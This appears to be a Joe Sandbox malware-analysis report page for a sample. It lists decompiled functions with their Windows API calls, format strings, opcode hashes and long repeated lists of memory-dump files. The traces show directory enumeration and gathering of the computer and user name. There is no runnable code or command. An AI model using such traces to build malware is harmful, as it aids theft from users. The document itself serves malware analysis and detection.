Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 4a6ff928a645d23be90d0edf93b70b883441655e5632e50e70fefeee3504163a
Instruction ID: ed05932277fb641efaa02d1096f4a199e5dd10f7107335c72fe70083dc8cd5f2
Opcode Fuzzy Hash: 4a6ff928a645d23be90d0edf93b70b883441655e5632e50e70fefeee3504163a
Instruction Fuzzy Hash: 4341B874A00209EFCB54CF58C494BEDBBB1FF48315F2482A9E9599B385D731AAC1DB84

Function 00F25050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00F28DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00F28E0B

lstrcat.KERNEL32(?,00000000), ref: 00F2508A
lstrcat.KERNEL32(?,0089DEF8), ref: 00F250A8

Part of subcall function 00F24910: wsprintfA.USER32 ref: 00F2492C
Part of subcall function 00F24910: FindFirstFileA.KERNEL32(?,?), ref: 00F24943

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: af0fe7af8422c2315309509adbc8e2cca4d768e2f290b6afd0383e2cfcf5d71a
Instruction ID: 449987b990d5fea169798ef6733a381a24d303d13cfcb7cddd3bc78ab9bd0592
Opcode Fuzzy Hash: af0fe7af8422c2315309509adbc8e2cca4d768e2f290b6afd0383e2cfcf5d71a
Instruction Fuzzy Hash: E201C876940218A7CB64FB70FC43DEE333CAF54740F004254B65953081EE789AC99B91

Function 00F110A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00F110B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00F110F7

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: c9056cf16cea5a8a8dd73c7bbc62e6be4d11ebfbc27e982eecc1eb7399ed948b
Instruction ID: 32a428c6eedb0a102923f83ca5be1ce1c92a9f49513fb43f800926ee274b9e44
Opcode Fuzzy Hash: c9056cf16cea5a8a8dd73c7bbc62e6be4d11ebfbc27e982eecc1eb7399ed948b
Instruction Fuzzy Hash: 17F0E971A81314BBE71496A4AC49FAEB7D8EB05B15F300554F604E3280D5715E80DB50

Function 00F28D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00F11B54,?,?,00F3564C,?,?,00F30E1F), ref: 00F28D9F

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: d87bebf8f4fbf18bff62279077d9d8af530cc6b92bc59aff7ce4754fb58a0558
Instruction ID: efe5911f65ae80d27e15a97370333e543d373a40a02b766223767f20bc17f2f2
Opcode Fuzzy Hash: d87bebf8f4fbf18bff62279077d9d8af530cc6b92bc59aff7ce4754fb58a0558
Instruction Fuzzy Hash: 84F01570C01218EBCB04EFA4E9596DCBB74EB10360F508299E826672C0DB385A5AEF81

Function 00F28DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00F28E0B

Part of subcall function 00F2A740: lstrcpy.KERNEL32(00F30E17,00000000), ref: 00F2A788

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 1140a9adb37a7d3e8759502a1d1002f88b1cb71aa9459b651ec96e5aa3868348
Instruction ID: d1815b5d0f83a100a2accb6b1505eb343d45e78a69b69932c8f9f22b116ce6ef
Opcode Fuzzy Hash: 1140a9adb37a7d3e8759502a1d1002f88b1cb71aa9459b651ec96e5aa3868348
Instruction Fuzzy Hash: E7E01A31A4035CBBDB91EB90DC96FAE777C9B44B01F004295BA0C5B1C0DE74AB868B91

Function 00F11190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00F278E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00F27910
Part of subcall function 00F278E0: RtlAllocateHeap.NTDLL(00000000), ref: 00F27917
Part of subcall function 00F278E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00F2792F

Part of subcall function 00F27850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00F111B7), ref: 00F27880
Part of subcall function 00F27850: RtlAllocateHeap.NTDLL(00000000), ref: 00F27887
Part of subcall function 00F27850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00F2789F

ExitProcess.KERNEL32 ref: 00F111C6

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 3176325199461ebbbf62490372265012e0ce249b9cf7a2180fb4ab18fe880d35
Instruction ID: 656476aef1859d96b4d2c354b2d8b6ca809fce4477cb28a7c32643e3876a7283
Opcode Fuzzy Hash: 3176325199461ebbbf62490372265012e0ce249b9cf7a2180fb4ab18fe880d35
Instruction Fuzzy Hash: F0E012B5D54311A3CB1473B0BC0BB6A369C6F14389F140534FA15D3102FE2DF841AA65

Function 00F28E30 Relevance: 1.3, APIs: 1, Instructions: 35memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 00F28E52

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: cdc17c045b98a058328d427465cd14e7aac7a8e80fd711a809f2321f51b6d294
Instruction ID: 5e7a389c0770806bd330303a24c47b66f330bdf530480daeadc95651d9e1698f
Opcode Fuzzy Hash: cdc17c045b98a058328d427465cd14e7aac7a8e80fd711a809f2321f51b6d294
Instruction Fuzzy Hash: BE011930A05218EFCB04CF98D585BACBBB1EF04358F288098E9056B390C7756F95EB85

Non-executed Functions

Function 00F238B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00F238CC
FindFirstFileA.KERNEL32(?,?), ref: 00F238E3
lstrcat.KERNEL32(?,?), ref: 00F23935
StrCmpCA.SHLWAPI(?,00F30F70), ref: 00F23947
StrCmpCA.SHLWAPI(?,00F30F74), ref: 00F2395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00F23C67
FindClose.KERNEL32(000000FF), ref: 00F23C7C

Strings

%s\*, xrefs: 00F238C0
%s%s, xrefs: 00F23AAD
%s\%s, xrefs: 00F2397A
%s\%s\%s, xrefs: 00F23A4A
%s\%s, xrefs: 00F23A6F

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: e218bbeb2072bc1dcac159e7b2199aaf9ebabd324edb022859557cabcffa60bf
Instruction ID: dbdfd690a4d4c189a003a31092a0bbcdaff551f6c63d48f5d762225bf22c9b05
Opcode Fuzzy Hash: e218bbeb2072bc1dcac159e7b2199aaf9ebabd324edb022859557cabcffa60bf
Instruction Fuzzy Hash: 9AA16FB29403189BCB34DFA4EC85FEE7378BF44300F044598A61997145EB799B84DF62

Function 00F24570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00F24580
RtlAllocateHeap.NTDLL(00000000), ref: 00F24587
wsprintfA.USER32 ref: 00F245A6
FindFirstFileA.KERNEL32(?,?), ref: 00F245BD
StrCmpCA.SHLWAPI(?,00F30FC4), ref: 00F245EB
StrCmpCA.SHLWAPI(?,00F30FC8), ref: 00F24601
FindNextFileA.KERNEL32(000000FF,?), ref: 00F2468B
FindClose.KERNEL32(000000FF), ref: 00F246A0
lstrcat.KERNEL32(?,0089E470), ref: 00F246C5
lstrcat.KERNEL32(?,0089D238), ref: 00F246D8
lstrlen.KERNEL32(?), ref: 00F246E5
lstrlen.KERNEL32(?), ref: 00F246F6

Strings

%s\*, xrefs: 00F2459A
%s\%s, xrefs: 00F2461B

Memory Dump Source

Source File: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, Offset: 00F10000, based on PE: true

Associated: 00000000.00000002.1673618925.0000000000F10000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F6A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F98000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000F9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FA2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FC1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FCD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FF2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000101F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.000000000102B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010D5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1673632781.00000000010DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000116E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.00000000013E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001408000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.0000000001410000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674025630.000000000141F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674277150.0000000001420000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674383820.00000000015C3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1674400492.00000000015C4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f10000_file.jbxd

Yara matches

Similarity

